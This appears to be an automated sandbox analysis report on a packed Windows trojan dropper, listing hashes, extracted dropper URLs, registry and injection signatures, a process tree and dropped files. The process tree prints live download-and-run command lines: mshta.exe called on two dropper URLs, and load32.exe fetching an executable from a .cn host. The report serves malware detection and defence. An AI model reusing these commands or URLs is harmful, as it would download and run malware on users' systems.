8685b10a305b1cf9d877259e60d0bca62d3f74483671f0f9a4e0504cb2baa7a3

Analysis

max time kernel
140s
max time network
151s
platform
windows10-2004_x64
resource
win10v2004-20220901-en
resource tags

arch:x64arch:x86image:win10v2004-20220901-enlocale:en-usos:windows10-2004-x64system
submitted
01-12-2022 21:51

Sharing

Copy URL

Twitter E-mail

Report Analysis Logs

General

Target

8685b10a305b1cf9d877259e60d0bca62d3f74483671f0f9a4e0504cb2baa7a3.exe
Size

31KB
MD5

5f8ea64b83d41b4bcea80bf32ae63d12
SHA1

83170d02b320edb1515dca471285ede69b21f4a1
SHA256

8685b10a305b1cf9d877259e60d0bca62d3f74483671f0f9a4e0504cb2baa7a3
SHA512

90a88bf5f1d679b1ba5d9513561ea9d0b04340fd1aa6d768126d47e774d3533c473fcdc34f0018213c7fa5985d720ff02a1ce48947c734680871357f54153dd7
SSDEEP

768:5LYTkV5ms+JsN9TEzmrB12o0Of6GGkll1hh:lVksus7TESr72o0Oip+l1j

Score

10^/10

evasion trojan upx

Malware Config

Extracted

Language

hta

Source

URLs

hta.dropper

http://crusade-affiliates.com/install.php?id=3c3d01f7ff6560e1f038e07d052d60d4

Extracted

Language

hta

Source

URLs

hta.dropper

http://urodinam.net/dfgsdfsdf.php

Signatures

Blocklisted process makes network request 1 IoCs

flow	pid	Process
6	4800	mshta.exe

Executes dropped EXE 1 IoCs

pid	Process
2936	load32.exe

UPX packed file 2 IoCs

Detects executables packed with UPX/modified UPX open source packer.

upx

resource	yara_rule
behavioral2/memory/4876-132-0x0000000000400000-0x0000000000418000-memory.dmp	upx
behavioral2/memory/4876-140-0x0000000000400000-0x0000000000418000-memory.dmp	upx

Checks computer location settings 2 TTPs 2 IoCs

Looks up country code configured in the registry, likely geofence.

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key value queried	\REGISTRY\USER\S-1-5-21-929662420-1054238289-2961194603-1000\Control Panel\International\Geo\Nation	cmd.exe
Key value queried	\REGISTRY\USER\S-1-5-21-929662420-1054238289-2961194603-1000\Control Panel\International\Geo\Nation	8685b10a305b1cf9d877259e60d0bca62d3f74483671f0f9a4e0504cb2baa7a3.exe

Checks whether UAC is enabled 1 TTPs 1 IoCs

evasion trojan

System Information Discovery

T1082

description	ioc	Process
Key value queried	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\EnableLUA	mshta.exe

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s). Likely ransomware behaviour.

System Information Discovery
T1082

Modifies Internet Explorer settings 1 TTPs 39 IoCs

adware spyware

Modify Registry

T1112

description	ioc	Process
Key created	\REGISTRY\USER\S-1-5-21-929662420-1054238289-2961194603-1000\Software\Microsoft\Internet Explorer\Recovery\AdminActive	iexplore.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-929662420-1054238289-2961194603-1000\SOFTWARE\Microsoft\Internet Explorer\Main\FullScreen = "no"	iexplore.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-929662420-1054238289-2961194603-1000\SOFTWARE\Microsoft\Internet Explorer\VersionManager\LastUpdateHighDateTime = "31000474"	iexplore.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-929662420-1054238289-2961194603-1000\SOFTWARE\Microsoft\Internet Explorer\VersionManager\LastCheckForUpdateHighDateTime = "31000474"	iexplore.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-929662420-1054238289-2961194603-1000\SOFTWARE\Microsoft\Internet Explorer\TabbedBrowsing\NTPFirstRun = "1"	iexplore.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-929662420-1054238289-2961194603-1000\SOFTWARE\Microsoft\Internet Explorer\VersionManager\LastCheckForUpdateLowDateTime = "2702613561"	iexplore.exe
Key created	\REGISTRY\USER\S-1-5-21-929662420-1054238289-2961194603-1000\Software\Microsoft\Internet Explorer\VersionManager	IEXPLORE.EXE
Set value (str)	\REGISTRY\USER\S-1-5-21-929662420-1054238289-2961194603-1000\SOFTWARE\Microsoft\Internet Explorer\DomainSuggestion\FileNames\en-US = "en-US.1"	iexplore.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-929662420-1054238289-2961194603-1000\SOFTWARE\Microsoft\Internet Explorer\Recovery\AdminActive\{CC92D8D6-738D-11ED-A0EE-DE60447A8195} = "0"	iexplore.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-929662420-1054238289-2961194603-1000\SOFTWARE\Microsoft\Internet Explorer\Recovery\PendingRecovery\AdminActive = "0"	iexplore.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-929662420-1054238289-2961194603-1000\SOFTWARE\Microsoft\Internet Explorer\VersionManager\LastTTLHighDateTime = "50"	iexplore.exe
Set value (data)	\REGISTRY\USER\S-1-5-21-929662420-1054238289-2961194603-1000\SOFTWARE\Microsoft\Internet Explorer\TabbedBrowsing\NewTabPage\DecayDateQueue = 01000000d08c9ddf0115d1118c7a00c04fc297eb01000000312089b24da9584e9c77bbe6a722c599000000000200000000001066000000010000200000000ca3d52298cc83e28c78c59d4b6cf44a999aedfc208a95a1017496cadce4a849000000000e8000000002000020000000cf044348d7d92115bdfff4c02ff2b45d57d27a19e39aaa315539288bc3e29b48200000004086a8bde903eee5e88c4aef96270ad2be41e51d5ec0752171243753425690cf40000000361b78b607e2dd179e4ce051f01898d9689dbf6e7320be948866b75ee9a7e2b1af78837efcb0ced7ec6d164ef07209dbcb171049bece243407250913255b7534	iexplore.exe
Key created	\REGISTRY\USER\S-1-5-21-929662420-1054238289-2961194603-1000\SOFTWARE\Microsoft\Internet Explorer\DomainSuggestion\FileNames\	iexplore.exe
Key created	\REGISTRY\USER\S-1-5-21-929662420-1054238289-2961194603-1000\Software\Microsoft\Internet Explorer\Main	iexplore.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-929662420-1054238289-2961194603-1000\SOFTWARE\Microsoft\Internet Explorer\Main\WindowsSearch\Version = "WS not running"	iexplore.exe
Key created	\REGISTRY\USER\S-1-5-21-929662420-1054238289-2961194603-1000\Software\Microsoft\Internet Explorer\IESettingSync	IEXPLORE.EXE
Set value (int)	\REGISTRY\USER\S-1-5-21-929662420-1054238289-2961194603-1000\SOFTWARE\Microsoft\Internet Explorer\IESettingSync\SlowSettingTypesChanged = "2"	IEXPLORE.EXE
Set value (data)	\REGISTRY\USER\S-1-5-21-929662420-1054238289-2961194603-1000\SOFTWARE\Microsoft\Internet Explorer\TabbedBrowsing\NewTabPage\LastProcessed = d00764b59a07d901	iexplore.exe
Key created	\REGISTRY\USER\S-1-5-21-929662420-1054238289-2961194603-1000\Software\Microsoft\Internet Explorer\DomainSuggestion	iexplore.exe
Key created	\REGISTRY\USER\S-1-5-21-929662420-1054238289-2961194603-1000\Software\Microsoft\Internet Explorer\Main\WindowsSearch	iexplore.exe
Key created	\REGISTRY\USER\S-1-5-21-929662420-1054238289-2961194603-1000\Software\Microsoft\Internet Explorer\Main	IEXPLORE.EXE
Key created	\REGISTRY\USER\S-1-5-21-929662420-1054238289-2961194603-1000\Software\Microsoft\Internet Explorer\TabbedBrowsing	iexplore.exe
Key created	\REGISTRY\USER\S-1-5-21-929662420-1054238289-2961194603-1000\SOFTWARE\Microsoft\Internet Explorer\TabbedBrowsing\NewTabPage	iexplore.exe
Key created	\REGISTRY\USER\S-1-5-21-929662420-1054238289-2961194603-1000\SOFTWARE\Microsoft\Internet Explorer\DomainSuggestion	iexplore.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-929662420-1054238289-2961194603-1000\SOFTWARE\Microsoft\Internet Explorer\Main\CompatibilityFlags = "0"	iexplore.exe
Key created	\REGISTRY\USER\S-1-5-21-929662420-1054238289-2961194603-1000\Software\Microsoft\Internet Explorer\Main	IEXPLORE.EXE
Set value (int)	\REGISTRY\USER\S-1-5-21-929662420-1054238289-2961194603-1000\SOFTWARE\Microsoft\Internet Explorer\VersionManager\LastTTLLowDateTime = "1251635200"	iexplore.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-929662420-1054238289-2961194603-1000\SOFTWARE\Microsoft\Internet Explorer\VersionManager\LastCheckForUpdateHighDateTime = "31000474"	IEXPLORE.EXE
Set value (data)	\REGISTRY\USER\S-1-5-21-929662420-1054238289-2961194603-1000\SOFTWARE\Microsoft\Internet Explorer\TabbedBrowsing\NewTabPage\DecayDateQueue = 01000000d08c9ddf0115d1118c7a00c04fc297eb01000000312089b24da9584e9c77bbe6a722c5990000000002000000000010660000000100002000000037ce8bea3b47e91eb4b2034d90b03b34f5ee1d17f7909eaa384a5f24ca565fbd000000000e8000000002000020000000f956fc436ba039aa8f18c46a247e38c16715e68746337767fd1c1190d6f2546320000000580a3edb9cb56c039b9341d99ce2c5c5376a5f3513bd1f86d7ab5dbe0e72a54f400000000d9d6200a2a0656664e1dee6bcea5c9f057625c8fb0957b5736f5886b5198137aab2e60a96752c2a41429ba24c83f08c2a7723a5e14bac8e87eafee9517d121d	iexplore.exe
Key created	\REGISTRY\USER\S-1-5-21-929662420-1054238289-2961194603-1000\Software\Microsoft\Internet Explorer\VersionManager	iexplore.exe
Set value (data)	\REGISTRY\USER\S-1-5-21-929662420-1054238289-2961194603-1000\SOFTWARE\Microsoft\Internet Explorer\TabbedBrowsing\NewTabPage\LastProcessed = 80e387b59a07d901	iexplore.exe
Key created	\REGISTRY\USER\S-1-5-21-929662420-1054238289-2961194603-1000\SOFTWARE\Microsoft\Internet Explorer\DomainSuggestion\FileNames	iexplore.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-929662420-1054238289-2961194603-1000\SOFTWARE\Microsoft\Internet Explorer\DomainSuggestion\NextUpdateDate = "376893813"	iexplore.exe
Key created	\REGISTRY\USER\S-1-5-21-929662420-1054238289-2961194603-1000\Software\Microsoft\Internet Explorer\Recovery\PendingRecovery	iexplore.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-929662420-1054238289-2961194603-1000\SOFTWARE\Microsoft\Internet Explorer\VersionManager\LastUpdateLowDateTime = "2702613561"	iexplore.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-929662420-1054238289-2961194603-1000\SOFTWARE\Microsoft\Internet Explorer\VersionManager\LastCheckForUpdateLowDateTime = "2712145003"	IEXPLORE.EXE
Key created	\REGISTRY\USER\S-1-5-21-929662420-1054238289-2961194603-1000\Software\Microsoft\Internet Explorer\Main\WindowsSearch	IEXPLORE.EXE
Set value (str)	\REGISTRY\USER\S-1-5-21-929662420-1054238289-2961194603-1000\SOFTWARE\Microsoft\Internet Explorer\Main\WindowsSearch\Version = "WS not running"	IEXPLORE.EXE
Key created	\REGISTRY\USER\S-1-5-21-929662420-1054238289-2961194603-1000\Software\Microsoft\Internet Explorer\DomainSuggestion\FileNames\	iexplore.exe

Suspicious behavior: GetForegroundWindowSpam 1 IoCs

pid	Process
3832	iexplore.exe

Suspicious use of FindShellTrayWindow 1 IoCs

pid	Process
3832	iexplore.exe

Suspicious use of SetWindowsHookEx 9 IoCs

pid	Process
4260	cmd.exe
3832	iexplore.exe
3832	iexplore.exe
1892	IEXPLORE.EXE
1892	IEXPLORE.EXE
1916	IEXPLORE.EXE
1916	IEXPLORE.EXE
1916	IEXPLORE.EXE
1916	IEXPLORE.EXE

Suspicious use of WriteProcessMemory 18 IoCs

description	pid	Process	procid_target
PID 4876 wrote to memory of 1660	4876	8685b10a305b1cf9d877259e60d0bca62d3f74483671f0f9a4e0504cb2baa7a3.exe	82
PID 4876 wrote to memory of 1660	4876	8685b10a305b1cf9d877259e60d0bca62d3f74483671f0f9a4e0504cb2baa7a3.exe	82
PID 4876 wrote to memory of 1660	4876	8685b10a305b1cf9d877259e60d0bca62d3f74483671f0f9a4e0504cb2baa7a3.exe	82
PID 4876 wrote to memory of 4800	4876	8685b10a305b1cf9d877259e60d0bca62d3f74483671f0f9a4e0504cb2baa7a3.exe	83
PID 4876 wrote to memory of 4800	4876	8685b10a305b1cf9d877259e60d0bca62d3f74483671f0f9a4e0504cb2baa7a3.exe	83
PID 4876 wrote to memory of 4800	4876	8685b10a305b1cf9d877259e60d0bca62d3f74483671f0f9a4e0504cb2baa7a3.exe	83
PID 4876 wrote to memory of 4260	4876	8685b10a305b1cf9d877259e60d0bca62d3f74483671f0f9a4e0504cb2baa7a3.exe	84
PID 4876 wrote to memory of 4260	4876	8685b10a305b1cf9d877259e60d0bca62d3f74483671f0f9a4e0504cb2baa7a3.exe	84
PID 4876 wrote to memory of 4260	4876	8685b10a305b1cf9d877259e60d0bca62d3f74483671f0f9a4e0504cb2baa7a3.exe	84
PID 4260 wrote to memory of 2936	4260	cmd.exe	86
PID 4260 wrote to memory of 2936	4260	cmd.exe	86
PID 4260 wrote to memory of 2936	4260	cmd.exe	86
PID 3832 wrote to memory of 1892	3832	iexplore.exe	90
PID 3832 wrote to memory of 1892	3832	iexplore.exe	90
PID 3832 wrote to memory of 1892	3832	iexplore.exe	90
PID 3832 wrote to memory of 1916	3832	iexplore.exe	91
PID 3832 wrote to memory of 1916	3832	iexplore.exe	91
PID 3832 wrote to memory of 1916	3832	iexplore.exe	91

C:\Users\Admin\AppData\Local\Temp\8685b10a305b1cf9d877259e60d0bca62d3f74483671f0f9a4e0504cb2baa7a3.exe
"C:\Users\Admin\AppData\Local\Temp\8685b10a305b1cf9d877259e60d0bca62d3f74483671f0f9a4e0504cb2baa7a3.exe"
1⤵
- Checks computer location settings
- Suspicious use of WriteProcessMemory
PID:4876
- C:\Windows\SysWOW64\mshta.exe
  "C:\Windows\System32\mshta.exe" http://crusade-affiliates.com/install.php?id=3c3d01f7ff6560e1f038e07d052d60d4
  2⤵
  PID:1660
- C:\Windows\SysWOW64\mshta.exe
  "C:\Windows\System32\mshta.exe" http://urodinam.net/dfgsdfsdf.php
  2⤵
  - Blocklisted process makes network request
  - Checks whether UAC is enabled
  PID:4800
- C:\Windows\SysWOW64\cmd.exe
  C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\tmpp.bat" "
  2⤵
  - Checks computer location settings
  - Suspicious use of SetWindowsHookEx
  - Suspicious use of WriteProcessMemory
  PID:4260
- - C:\Users\Admin\AppData\Local\Temp\load32.exe
    C:\Users\Admin\AppData\Local\Temp\load32.exe http://0ni9o1s3feu60.cn/u4.exe C:\Users\Admin\AppData\Local\Temp\safety.exe
    3⤵
    - Executes dropped EXE
    PID:2936

C:\Program Files (x86)\Internet Explorer\ielowutil.exe
"C:\Program Files (x86)\Internet Explorer\ielowutil.exe" -CLSID:{0002DF01-0000-0000-C000-000000000046} -Embedding
1⤵
PID:216

C:\Program Files\Internet Explorer\iexplore.exe
"C:\Program Files\Internet Explorer\iexplore.exe" -Embedding
1⤵
- Modifies Internet Explorer settings
- Suspicious behavior: GetForegroundWindowSpam
- Suspicious use of FindShellTrayWindow
- Suspicious use of SetWindowsHookEx
- Suspicious use of WriteProcessMemory
PID:3832
- C:\Program Files (x86)\Internet Explorer\IEXPLORE.EXE
  "C:\Program Files (x86)\Internet Explorer\IEXPLORE.EXE" SCODEF:3832 CREDAT:17410 /prefetch:2
  2⤵
  - Modifies Internet Explorer settings
  - Suspicious use of SetWindowsHookEx
  PID:1892
- C:\Program Files (x86)\Internet Explorer\IEXPLORE.EXE
  "C:\Program Files (x86)\Internet Explorer\IEXPLORE.EXE" SCODEF:3832 CREDAT:82946 /prefetch:2
  2⤵
  - Modifies Internet Explorer settings
  - Suspicious use of SetWindowsHookEx
  PID:1916

Network

MITRE ATT&CK Enterprise v6

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

Modify Registry

T1112

Credential Access

Discovery

Query Registry

T1012

System Information Discovery

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

Loading Replay Monitor...

Downloads

C:\Users\Admin\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\7423F88C7F265F0DEFC08EA88C3BDE45_AA1E8580D4EBC816148CE81268683776

Filesize
471B

MD5
0ff2da8bfc83bec6bce38ba6a3f7bf58

SHA1
84c37df7bed08d69f040c289676735c49a9564eb

SHA256
91026f24711c435d99a44884c7239ed1265cd17c0259a6c5885f69e4309421ea

SHA512
78afdc44d7557b2f14444182085252e8456c91289511d6f2abfd1d7273d05baba9a94206d370add716b9fc30dc326a1a2e1c78f642e926759d962cf216c3a489

Download Submit
C:\Users\Admin\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\7423F88C7F265F0DEFC08EA88C3BDE45_AA1E8580D4EBC816148CE81268683776

Filesize
434B

MD5
77ae758997c6da993d43ad668aa632f9

SHA1
1dd845fc393b4be4807ada2fae3224544cdbb024

SHA256
2d832637f11669d6f066c33ec704fc1cdabf948de22157ec2d3eb6cbfba2ce2f

SHA512
87b4bb4c3cc0e22d3a5d2cbc8ad9b01b7bc92e8c0dc73929c056aa292ea1e0408ccfaa13574ac2aca510d48feca8e3842286d2975ac776f9625deeffb07c6dfa

Download Submit
C:\Users\Admin\AppData\Local\Temp\load32.exe

Filesize
4KB

MD5
af40555f69da106abd8544c015d6616c

SHA1
dab2bbe6bdfad2d659a54f074985b9c47fe082b8

SHA256
5471f76a02fc0252cf9d79ae893e1b8d5635807f63cbd138ad05247f2ffce81b

SHA512
d3b773299bdff6b96a2480799ba28495e80d5deac9aca5c9f9310155b289a6ea8d4daab861500344bb277a90dc6e43f22bbd81de3c25088bd9a2946fc9e90bdb

Download Submit
C:\Users\Admin\AppData\Local\Temp\load32.exe

Filesize
4KB

MD5
af40555f69da106abd8544c015d6616c

SHA1
dab2bbe6bdfad2d659a54f074985b9c47fe082b8

SHA256
5471f76a02fc0252cf9d79ae893e1b8d5635807f63cbd138ad05247f2ffce81b

SHA512
d3b773299bdff6b96a2480799ba28495e80d5deac9aca5c9f9310155b289a6ea8d4daab861500344bb277a90dc6e43f22bbd81de3c25088bd9a2946fc9e90bdb

Download Submit
C:\Users\Admin\AppData\Local\Temp\tmpp.bat

Filesize
530B

MD5
f77fb91e50bcc2898a78ef1462436ac4

SHA1
ea8be4243028d2a89043a5b64c1dd07460da6a9c

SHA256
7f3c2b73078001c6bfbdfa61d8d1f62822bae52dcd2726def766751bdc997d77

SHA512
5dfe1f934a015d4a1bda01530e6fe2d986a3fcbc5c1b709ca1fa76fb9386311cf318bf85def9364eda0e53ca241c155c057c9c8759b3bb49f272c81f4416ab78

Download Submit
memory/4876-132-0x0000000000400000-0x0000000000418000-memory.dmp

Filesize
96KB

Download
memory/4876-140-0x0000000000400000-0x0000000000418000-memory.dmp

Filesize
96KB

Download

Analysis

Sharing

General

Malware Config

Extracted

Extracted

Signatures

Processes

Network

MITRE ATT&CK Enterprise v6

Replay Monitor

Loading Replay Monitor...

Downloads